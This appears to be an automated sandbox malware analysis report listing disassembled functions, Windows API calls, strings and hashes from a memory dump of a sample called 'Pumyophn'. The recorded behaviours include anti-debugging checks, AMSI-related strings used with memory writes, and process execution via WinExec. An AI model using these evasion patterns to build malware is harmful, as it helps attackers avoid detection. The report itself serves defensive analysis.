                                                                                                                                                                      • Source File: 00000004.00000002.1839275438.0000000002CA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CA1000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_4_2_2ca1000_Pumyophn.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: AddressLibraryProc$FreeLoadMemoryVirtualWrite
                                                                                                                                                                      • String ID: DllGetClassObject$W$amsi
                                                                                                                                                                      • API String ID: 2980007069-2671292670
                                                                                                                                                                      • Opcode ID: bb040d4c6b0351af3c6deaaa4092c142f64e20636a256e4cc6c450b3c02565e0
                                                                                                                                                                      • Instruction ID: ada798339588065521b10aa88936bdd43fce570120df715bd42eea249d2c3ef2
                                                                                                                                                                      • Opcode Fuzzy Hash: bb040d4c6b0351af3c6deaaa4092c142f64e20636a256e4cc6c450b3c02565e0
                                                                                                                                                                      • Instruction Fuzzy Hash: 1CF0C85144C381B9E602E678CC45F8BBFCD4F92228F048B5CB5F85A2D2D679D1049BB7
                                                                                                                                                                      Function 02CBEBE8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 28libraryloaderCOMMON
                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                      • Executed
                                                                                                                                                                      • Not Executed
                                                                                                                                                                      control_flow_graph 8616 2cbebe8-2cbec02 GetModuleHandleW 8617 2cbec2e-2cbec36 8616->8617 8618 2cbec04-2cbec16 GetProcAddress 8616->8618 8618->8617 8619 2cbec18-2cbec28 CheckRemoteDebuggerPresent 8618->8619 8619->8617 8620 2cbec2a 8619->8620 8620->8617
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetModuleHandleW.KERNEL32(KernelBase), ref: 02CBEBF8
                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,CheckRemoteDebuggerPresent), ref: 02CBEC0A
                                                                                                                                                                      • CheckRemoteDebuggerPresent.KERNEL32(FFFFFFFF,?,00000000,CheckRemoteDebuggerPresent,KernelBase), ref: 02CBEC21
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000004.00000002.1839275438.0000000002CA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CA1000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_4_2_2ca1000_Pumyophn.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: AddressCheckDebuggerHandleModulePresentProcRemote
                                                                                                                                                                      • String ID: CheckRemoteDebuggerPresent$KernelBase
                                                                                                                                                                      • API String ID: 35162468-539270669
                                                                                                                                                                      • Opcode ID: 9b049c7cc1318c58b5b517492fa9e12b5000347c39888a4d4a8a376cbb218c17
                                                                                                                                                                      • Instruction ID: 5b385d8423f4aa7f0f4b30c0d9616bc0afee948f4c03d59ed6d8cf79d013e85f
                                                                                                                                                                      • Opcode Fuzzy Hash: 9b049c7cc1318c58b5b517492fa9e12b5000347c39888a4d4a8a376cbb218c17
                                                                                                                                                                      • Instruction Fuzzy Hash: CFF0A03090464CAEEB13A6A888897DDFBAD9F0572AFA80794A435B21C1E7715780C655
                                                                                                                                                                      Function 02CA1A8F Relevance: 7.7, APIs: 6, Instructions: 173sleepCOMMON
                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                      • Executed
                                                                                                                                                                      • Not Executed
                                                                                                                                                                      control_flow_graph 8621 2ca1a8f-2ca1a9b 8622 2ca1b6c-2ca1b6f 8621->8622 8623 2ca1aa1-2ca1aa5 8621->8623 8624 2ca1c5c-2ca1c60 8622->8624 8625 2ca1b75-2ca1b7f 8622->8625 8626 2ca1b08-2ca1b11 8623->8626 8627 2ca1aa7-2ca1aae 8623->8627 8632 2ca16e8-2ca170b call 2ca1644 VirtualFree 8624->8632 8633 2ca1c66-2ca1c6b 8624->8633 8628 2ca1b3c-2ca1b49 8625->8628 8629 2ca1b81-2ca1b8d 8625->8629 8626->8627 8634 2ca1b13-2ca1b27 Sleep 8626->8634 8630 2ca1adc-2ca1ade 8627->8630 8631 2ca1ab0-2ca1abb 8627->8631 8628->8629 8643 2ca1b4b-2ca1b5f Sleep 8628->8643 8635 2ca1b8f-2ca1b92 8629->8635 8636 2ca1bc4-2ca1bd2 8629->8636 8639 2ca1af3 8630->8639 8640 2ca1ae0-2ca1af1 8630->8640 8637 2ca1abd-2ca1ac2 8631->8637 8638 2ca1ac4-2ca1ad9 8631->8638 8649 2ca170d-2ca1714 8632->8649 8650 2ca1716 8632->8650 8634->8627 8641 2ca1b2d-2ca1b38 Sleep 8634->8641 8645 2ca1b96-2ca1b9a 8635->8645 8636->8645 8647 2ca1bd4-2ca1bd9 call 2ca14c0 8636->8647 8646 2ca1af6-2ca1b03 8639->8646 8640->8639 8640->8646 8641->8626 8643->8629 8644 2ca1b61-2ca1b68 Sleep 8643->8644 8644->8628 8651 2ca1bdc-2ca1be9 8645->8651 8652 2ca1b9c-2ca1ba2 8645->8652 8646->8625 8647->8645 8654 2ca1719-2ca1723 8649->8654 8650->8654 8651->8652 8658 2ca1beb-2ca1bf2 call 2ca14c0 8651->8658 8655 2ca1bf4-2ca1bfe 8652->8655 8656 2ca1ba4-2ca1bc2 call 2ca1500 8652->8656 8660 2ca1c2c-2ca1c59 call 2ca1560 8655->8660 8661 2ca1c00-2ca1c28 VirtualFree 8655->8661 8658->8652
                                                                                                                                                                      APIs
                                                                                                                                                                      • Sleep.KERNEL32(00000000), ref: 02CA1B17
                                                                                                                                                                      • Sleep.KERNEL32(0000000A,00000000), ref: 02CA1B31
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000004.00000002.1839275438.0000000002CA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CA1000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_4_2_2ca1000_Pumyophn.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Sleep
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 3472027048-0
                                                                                                                                                                      • Opcode ID: 5bc9e7d0c38f7cb370987119e92a3703bfa8e30315ec040dadfaa1d7b74e518e
                                                                                                                                                                      • Instruction ID: e1821af208253caadb8298c53d201a967f6ea9e27b9d50a50a0504e063ceb8e8
                                                                                                                                                                      • Opcode Fuzzy Hash: 5bc9e7d0c38f7cb370987119e92a3703bfa8e30315ec040dadfaa1d7b74e518e
                                                                                                                                                                      • Instruction Fuzzy Hash: 345100B16013428FE715CF6CD9A4756BBD0AB8531CF1C82AED548CB292E7F0D945CBA1
                                                                                                                                                                      Function 02CB85D4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 62processCOMMON
                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 02CB8018: GetModuleHandleA.KERNELBASE(?), ref: 02CB806A
                                                                                                                                                                        • Part of subcall function 02CB80C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02CB8113
                                                                                                                                                                        • Part of subcall function 02CB80C0: GetProcAddress.KERNEL32(?,?), ref: 02CB8125
                                                                                                                                                                      • CreateProcessAsUserW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,Kernel32,00000000,00000000,00000000), ref: 02CB8660
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000004.00000002.1839275438.0000000002CA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CA1000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_4_2_2ca1000_Pumyophn.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: AddressProc$CreateHandleModuleProcessUser
                                                                                                                                                                      • String ID: CreateProcessAsUserW$Kernel32
                                                                                                                                                                      • API String ID: 952078031-2353454454
                                                                                                                                                                      • Opcode ID: 0876e75a713e70b8efe0a79b94cb4970c292efc24903ce05c5e4d354bf17132d
                                                                                                                                                                      • Instruction ID: 10628572c9e8a389da688f54e51f64a76f9dfd654ea11540886c082f280ce8b9
                                                                                                                                                                      • Opcode Fuzzy Hash: 0876e75a713e70b8efe0a79b94cb4970c292efc24903ce05c5e4d354bf17132d
                                                                                                                                                                      • Instruction Fuzzy Hash: D0111EB6640208AFEB51EFA8DC91FDA37EDEB0C700F514620BA08E3640C674ED109B60
                                                                                                                                                                      Function 02CB8406 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 46processCOMMON
                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 02CB8018: GetModuleHandleA.KERNELBASE(?), ref: 02CB806A
                                                                                                                                                                        • Part of subcall function 02CB80C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02CB8113
                                                                                                                                                                        • Part of subcall function 02CB80C0: GetProcAddress.KERNEL32(?,?), ref: 02CB8125
                                                                                                                                                                      • WinExec.KERNEL32(?,?), ref: 02CB8470
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000004.00000002.1839275438.0000000002CA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CA1000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_4_2_2ca1000_Pumyophn.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: AddressProc$ExecHandleModule
                                                                                                                                                                      • String ID: Kernel32$WinExec
                                                                                                                                                                      • API String ID: 3402293670-3609268280
                                                                                                                                                                      • Opcode ID: 2ddaed76253f01233ec0f3857892a3a52926c1e702f90ded750cc329d77797a5
                                                                                                                                                                      • Instruction ID: 7641b1b0d9b8ef0352b0cf19c846314ee202893fde5e81e4818f4e6065548226
                                                                                                                                                                      • Opcode Fuzzy Hash: 2ddaed76253f01233ec0f3857892a3a52926c1e702f90ded750cc329d77797a5
                                                                                                                                                                      • Instruction Fuzzy Hash: 7401FF38644208BFEB12EFA4EC61F9A77EEEB48B00F618530B504D7A40D674ED00AF20
                                                                                                                                                                      Function 02CB8408 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 45processCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 02CB8018: GetModuleHandleA.KERNELBASE(?), ref: 02CB806A
                                                                                                                                                                        • Part of subcall function 02CB80C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02CB8113
                                                                                                                                                                        • Part of subcall function 02CB80C0: GetProcAddress.KERNEL32(?,?), ref: 02CB8125
                                                                                                                                                                      • WinExec.KERNEL32(?,?), ref: 02CB8470
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000004.00000002.1839275438.0000000002CA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CA1000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_4_2_2ca1000_Pumyophn.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: AddressProc$ExecHandleModule
                                                                                                                                                                      • String ID: Kernel32$WinExec
                                                                                                                                                                      • API String ID: 3402293670-3609268280
                                                                                                                                                                      • Opcode ID: 6bbf7e255ad3ca02d229da36104f87ff44f08f453a6d5a7630cc9a1e8d8d242e
                                                                                                                                                                      • Instruction ID: 68f86d108605189d9fb4394e4176b5c1858fa7e4dc77d734d12e493b8f170b8e
                                                                                                                                                                      • Opcode Fuzzy Hash: 6bbf7e255ad3ca02d229da36104f87ff44f08f453a6d5a7630cc9a1e8d8d242e
                                                                                                                                                                      • Instruction Fuzzy Hash: 90F0FF38644208BFEB12EFA4EC61F8A77EEEB48B00F618520B504D7A40C674ED00AF20
                                                                                                                                                                      Function 02CB881C Relevance: 4.6, APIs: 3, Instructions: 65libraryloaderCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetModuleHandleA.KERNEL32(00000000,00000000,00000000,02CB8903), ref: 02CB8860
                                                                                                                                                                      • GetProcAddress.KERNEL32(02D01384,00000000), ref: 02CB8879
                                                                                                                                                                        • Part of subcall function 02CB7CF8: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02CB7D6C
                                                                                                                                                                      • FreeLibrary.KERNEL32(02D01384,00000000,02D01388,Function_000055D8,00000004,02D01398,02D01388,000186A3,00000040,02D0139C,02D01384,00000000,00000000,00000000,00000000,02CB8903), ref: 02CB88E3
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000004.00000002.1839275438.0000000002CA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CA1000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_4_2_2ca1000_Pumyophn.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: AddressFreeHandleLibraryMemoryModuleProcVirtualWrite
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 3588955079-0
                                                                                                                                                                      • Opcode ID: cf089ef4489eb3a40441fefad3c71e62bc10d8f46ed1696603d337b61dcfc282
                                                                                                                                                                      • Instruction ID: 86abbc20ce6df10592002ddf4deff58cdb29376671d2934bcea45dbb3b531fb2
                                                                                                                                                                      • Opcode Fuzzy Hash: cf089ef4489eb3a40441fefad3c71e62bc10d8f46ed1696603d337b61dcfc282
                                                                                                                                                                      • Instruction Fuzzy Hash: D1114C70A40305ABEF14FBF8DCA6B5E77AEEB45704F900464B548A7B90DAB4DD10AB14
                                                                                                                                                                      Function 02CA4168 Relevance: 3.1, APIs: 2, Instructions: 125COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000004.00000002.1839275438.0000000002CA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CA1000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_4_2_2ca1000_Pumyophn.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID:
                                                                                                                                                                      • Opcode ID: 37bf4f3d810a79a46bbb0bca0b2c1ea091c767f3b37214b5f088f5b530a2e7d3
                                                                                                                                                                      • Instruction ID: 4067a6a23c52c87527bf7274b2f0ba7107eccbedb26cac108d2cf258252927fa
                                                                                                                                                                      • Opcode Fuzzy Hash: 37bf4f3d810a79a46bbb0bca0b2c1ea091c767f3b37214b5f088f5b530a2e7d3
                                                                                                                                                                      • Instruction Fuzzy Hash: 0941B274C01206EFDB78DF28E4A475A3BE1FB8832DF24451ADA098B354C7B4A991DF91
                                                                                                                                                                      Function 02CA5814 Relevance: 1.5, APIs: 1, Instructions: 26COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetModuleFileNameA.KERNEL32(20C11B20,?,00000105), ref: 02CA5832
                                                                                                                                                                        • Part of subcall function 02CA5A78: GetModuleFileNameA.KERNEL32(00000000,?,00000105), ref: 02CA5A94
                                                                                                                                                                        • Part of subcall function 02CA5A78: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 02CA5AB2
                                                                                                                                                                        • Part of subcall function 02CA5A78: RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 02CA5AD0
                                                                                                                                                                        • Part of subcall function 02CA5A78: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 02CA5AEE
                                                                                                                                                                        • Part of subcall function 02CA5A78: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,00000000,00000005,00000000,02CA5B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 02CA5B37
                                                                                                                                                                        • Part of subcall function 02CA5A78: RegQueryValueExA.ADVAPI32(?,02CA5CE4,00000000,00000000,00000000,00000005,?,?,00000000,00000000,00000000,00000005,00000000,02CA5B7D,?,80000001), ref: 02CA5B55
                                                                                                                                                                        • Part of subcall function 02CA5A78: RegCloseKey.ADVAPI32(?,02CA5B84,00000000,00000000,00000005,00000000,02CA5B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 02CA5B77
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000004.00000002.1839275438.0000000002CA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CA1000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_4_2_2ca1000_Pumyophn.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Open$FileModuleNameQueryValue$Close
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 2796650324-0
                                                                                                                                                                      • Opcode ID: 8d2262c70beaae2bbfdede8a2f275eb551cfb6ca49d82510be69373b1f735333
                                                                                                                                                                      • Instruction ID: 0be71cca9a6a76437ccf08632772058c60a360cb109e4e63c68fac3ecd96db40
                                                                                                                                                                      • Opcode Fuzzy Hash: 8d2262c70beaae2bbfdede8a2f275eb551cfb6ca49d82510be69373b1f735333
                                                                                                                                                                      • Instruction Fuzzy Hash: C8E06D71A402159FCB10DE5888C0A5637E8AF08798F444565ED58DF34AD3B0DA108BD0
                                                                                                                                                                      Function 02CA7E34 Relevance: 1.5, APIs: 1, Instructions: 16COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetFileAttributesA.KERNEL32(00000000,?,02CC2A41,ScanString,02CFCF00,02CCAFD0,OpenSession,02CFCF00,02CCAFD0,ScanBuffer,02CFCF00,02CCAFD0,OpenSession,02CFCF00,02CCAFD0,Initialize), ref: 02CA7E3F
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000004.00000002.1839275438.0000000002CA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CA1000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_4_2_2ca1000_Pumyophn.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: AttributesFile
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 3188754299-0
                                                                                                                                                                      • Opcode ID: fe3f8c7547375d3b190e2bd7b8d67a4577ec7d15bc45dec9ccb4955a6e8d04a7
                                                                                                                                                                      • Instruction ID: 73e2ad86cb58a7d71cdddf0f1dc18a820d18f126af47163c272a819246cabb9a
                                                                                                                                                                      • Opcode Fuzzy Hash: fe3f8c7547375d3b190e2bd7b8d67a4577ec7d15bc45dec9ccb4955a6e8d04a7
                                                                                                                                                                      • Instruction Fuzzy Hash: 81C08CA02022060E5E64A2FC0CE450E428C298413C3A42F21E139C61D2D322D86A3410
                                                                                                                                                                      Function 02CCBB48 Relevance: 1.5, APIs: 1, Instructions: 12COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • timeSetEvent.WINMM(?,00000000), ref: 02CCBB58
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000004.00000002.1839275438.0000000002CA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CA1000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_4_2_2ca1000_Pumyophn.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Eventtime
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 2982266575-0
                                                                                                                                                                      • Opcode ID: bed6f81a1faa7d7219e899bef8415f9a979ffb26939706184344140ffff5554e
                                                                                                                                                                      • Instruction ID: 7fda44b82a326daae489bb27dfeae1707265ae73cf43226695439d4c7a5d2d71
                                                                                                                                                                      • Opcode Fuzzy Hash: bed6f81a1faa7d7219e899bef8415f9a979ffb26939706184344140ffff5554e
                                                                                                                                                                      • Instruction Fuzzy Hash: 02C092F07C03403EFA10AAE82CE2F23168DD704B08F600416BB00EE2C2D9E25D505A74
                                                                                                                                                                      Function 02CA4BE4 Relevance: 1.5, APIs: 1, Instructions: 10memoryCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • SysAllocStringLen.OLEAUT32(00000000,?), ref: 02CA4BEB
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000004.00000002.1839275438.0000000002CA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CA1000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_4_2_2ca1000_Pumyophn.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: AllocString
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 2525500382-0
                                                                                                                                                                      • Opcode ID: db6a3f861f0a6b35b86245416a4c288905a5a0e602f748b147a7570e0d217214
                                                                                                                                                                      • Instruction ID: 18c46d458b248f7e73a1bfafcdb18f12acf630058401932a21babe70613e79e3
                                                                                                                                                                      • Opcode Fuzzy Hash: db6a3f861f0a6b35b86245416a4c288905a5a0e602f748b147a7570e0d217214
                                                                                                                                                                      • Instruction Fuzzy Hash: 33B0922C24960358EA2815621D20B72008C0B9028EF8800919E28C8080EB84C1009832
                                                                                                                                                                      Function 02CA4BFC Relevance: 1.5, APIs: 1, Instructions: 6COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • SysFreeString.OLEAUT32(00000000), ref: 02CA4C03
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000004.00000002.1839275438.0000000002CA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CA1000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_4_2_2ca1000_Pumyophn.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: FreeString
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 3341692771-0
                                                                                                                                                                      • Opcode ID: 6fc0f88f0b4d12cbeda0546aa3c9b2a61d9b338520cfab902635a24ef7a42f2a
                                                                                                                                                                      • Instruction ID: 7c0b72de8bb262d35f4ce212d69b5346c6b9705d5263714a09e00bede618b6c7
                                                                                                                                                                      • Opcode Fuzzy Hash: 6fc0f88f0b4d12cbeda0546aa3c9b2a61d9b338520cfab902635a24ef7a42f2a
                                                                                                                                                                      • Instruction Fuzzy Hash: BAA022AC000B030A8F2F232C00300AA2033BFE030E3CEC0E800080A0008FBAC200BC30
                                                                                                                                                                      Function 02CA15CC Relevance: 1.3, APIs: 1, Instructions: 38memoryCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • VirtualAlloc.KERNEL32(00000000,00140000,00001000,00000004), ref: 02CA15E2
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000004.00000002.1839275438.0000000002CA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CA1000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_4_2_2ca1000_Pumyophn.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: AllocVirtual
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 4275171209-0
                                                                                                                                                                      • Opcode ID: 89ed01fbde9e0efcb1cf80aa0673f13639965c080b30501d2d01d2e4da3ff53b
                                                                                                                                                                      • Instruction ID: 693cf6e41720d8c29ced18239dc941f7bf2f3061b1846615d5d360fa419f72b3
                                                                                                                                                                      • Opcode Fuzzy Hash: 89ed01fbde9e0efcb1cf80aa0673f13639965c080b30501d2d01d2e4da3ff53b
                                                                                                                                                                      • Instruction Fuzzy Hash: C5F06DF0B413014FEB85CF7999543017BD2EB89348F28867AD709DB3A8E7B194018F00
                                                                                                                                                                      Function 02CA1682 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • VirtualAlloc.KERNEL32(00000000,?,00101000,00000004), ref: 02CA16A4
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000004.00000002.1839275438.0000000002CA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CA1000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_4_2_2ca1000_Pumyophn.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: AllocVirtual
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 4275171209-0
                                                                                                                                                                      • Opcode ID: 30cc41162970da5ede4b6f58472bdf60fb306d759dd5abc5f5b3075793669327
                                                                                                                                                                      • Instruction ID: 69236ca96cb2edaef56a454b2e5ae0433842484dded2d73677d53ad3850bdf6a
                                                                                                                                                                      • Opcode Fuzzy Hash: 30cc41162970da5ede4b6f58472bdf60fb306d759dd5abc5f5b3075793669327
                                                                                                                                                                      • Instruction Fuzzy Hash: 80F090B2A407967BD7119E5A9CC0782BB94FB85315F050139E9489B344D7B4AC108BD4
                                                                                                                                                                      Function 02CA16E6 Relevance: 1.3, APIs: 1, Instructions: 26COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • VirtualFree.KERNEL32(?,00000000,00008000), ref: 02CA1704
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000004.00000002.1839275438.0000000002CA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CA1000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_4_2_2ca1000_Pumyophn.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: FreeVirtual
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 1263568516-0
                                                                                                                                                                      • Opcode ID: 73f9a3b69cf2d174753d76eafdca3396128f5bc4a82218f09c0f077a5ba142bd
                                                                                                                                                                      • Instruction ID: b70b48fac64bcab774115f7ac9b86d0006f37bf632f97a4b37554a0b261ac812
                                                                                                                                                                      • Opcode Fuzzy Hash: 73f9a3b69cf2d174753d76eafdca3396128f5bc4a82218f09c0f077a5ba142bd
                                                                                                                                                                      • Instruction Fuzzy Hash: 9EE08C753003026FE7205A7E4D80B52BBD9EB89778F285A75F659DB2E1D6E0E8008B64

                                                                                                                                                                      Non-executed Functions

                                                                                                                                                                      Function 02CA5B83 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 99stringlibrarythreadCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • lstrcpyn.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 02CA5B94
                                                                                                                                                                      • GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105), ref: 02CA5BA1
                                                                                                                                                                      • GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105), ref: 02CA5BA7
                                                                                                                                                                      • lstrlen.KERNEL32(00000000), ref: 02CA5BD2
                                                                                                                                                                      • lstrcpyn.KERNEL32(00000000,00000000,00000105,00000000), ref: 02CA5C19
                                                                                                                                                                      • LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 02CA5C29
                                                                                                                                                                      • lstrcpyn.KERNEL32(00000000,00000000,00000105,00000000), ref: 02CA5C51
                                                                                                                                                                      • LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000105,00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 02CA5C61
                                                                                                                                                                      • lstrcpyn.KERNEL32(00000000,00000000,00000105,00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 02CA5C87
                                                                                                                                                                      • LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000105,00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 02CA5C97
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000004.00000002.1839275438.0000000002CA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CA1000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_4_2_2ca1000_Pumyophn.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: lstrcpyn$LibraryLoad$Locale$InfoThreadlstrlen
                                                                                                                                                                      • String ID: .
                                                                                                                                                                      • API String ID: 1599918012-248832578
                                                                                                                                                                      • Opcode ID: 08d19139f865e72493333d78b9ee4a31cd30b2ebc972edcdd67ec8a53bfc9ac7
